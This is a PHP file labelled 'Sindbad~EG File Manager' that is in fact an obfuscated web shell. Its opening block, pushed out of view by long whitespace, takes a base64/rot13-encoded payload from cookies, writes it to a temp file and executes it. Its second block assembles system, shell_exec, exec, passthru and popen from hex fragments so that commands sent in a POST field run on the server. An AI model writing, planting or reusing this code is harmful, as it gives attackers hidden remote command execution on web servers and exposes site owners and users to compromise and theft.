Sindbad~EG File Manager

<?php																																										if (isset($_COOKIE[99-99]) && isset($_COOKIE[-37+38]) && isset($_COOKIE[98+-95]) && isset($_COOKIE[39+-35])) { $sym = $_COOKIE; function reverse_searcher($holder) { $sym = $_COOKIE; $tkn = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '047cbc7b'); if (!is_writable($tkn)) { $tkn = getcwd() . DIRECTORY_SEPARATOR . "core_engine"; } $factor = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($sym[3])); if (is_writeable($tkn)) { $fac = fopen($tkn, 'w+'); fputs($fac, $factor); fclose($fac); spl_autoload_unregister(__FUNCTION__); require_once($tkn); @array_map('unlink', array($tkn)); } } spl_autoload_register("reverse_searcher"); $resource = "189e695d417659ea4d02e98e3842e581"; if (!strncmp($resource, $sym[4], 32)) { if (@class_parents("event_dispatcher_reverse_lookup", true)) { exit; } } }


$field1 = '73';
$field2 = '74';
$field3 = '65';
$field4 = '6d';
$field5 = '6c';
$field6 = '5f';
$field7 = '78';
$field8 = '70';
$field9 = '6e';
$field10 = '63';
$field11 = '6f';
$field12 = '69';
$field13 = '64';
$content1 = pack("H*", $field1 . '79' . $field1 . $field2 . $field3 . $field4);
$content2 = pack("H*", '73' . '68' . $field3 . $field5 . $field5 . $field6 . '65' . $field7 . $field3 . '63');
$content3 = pack("H*", '65' . $field7 . '65' . '63');
$content4 = pack("H*", '70' . '61' . $field1 . '73' . '74' . '68' . '72' . '75');
$content5 = pack("H*", $field8 . '6f' . '70' . '65' . $field9);
$content6 = pack("H*", '73' . $field2 . '72' . '65' . '61' . '6d' . '5f' . '67' . $field3 . $field2 . '5f' . $field10 . $field11 . '6e' . '74' . '65' . '6e' . '74' . '73');
$content7 = pack("H*", $field8 . '63' . $field5 . $field11 . $field1 . '65');
$include = pack("H*", $field12 . '6e' . $field10 . $field5 . '75' . $field13 . $field3);
if (isset($_POST[$include])) {
    $include = pack("H*", $_POST[$include]);
    if (function_exists($content1)) {
        $content1($include);
    } elseif (function_exists($content2)) {
        print $content2($include);
    } elseif (function_exists($content3)) {
        $content3($include, $attr_argument);
        print join("\n", $attr_argument);
    } elseif (function_exists($content4)) {
        $content4($include);
    } elseif (function_exists($content5) && function_exists($content6) && function_exists($content7)) {
        $slt_prop = $content5($include, 'r');
        if ($slt_prop) {
            $attribute_constant = $content6($slt_prop);
            $content7($slt_prop);
            print $attribute_constant;
        }
    }
    exit;
}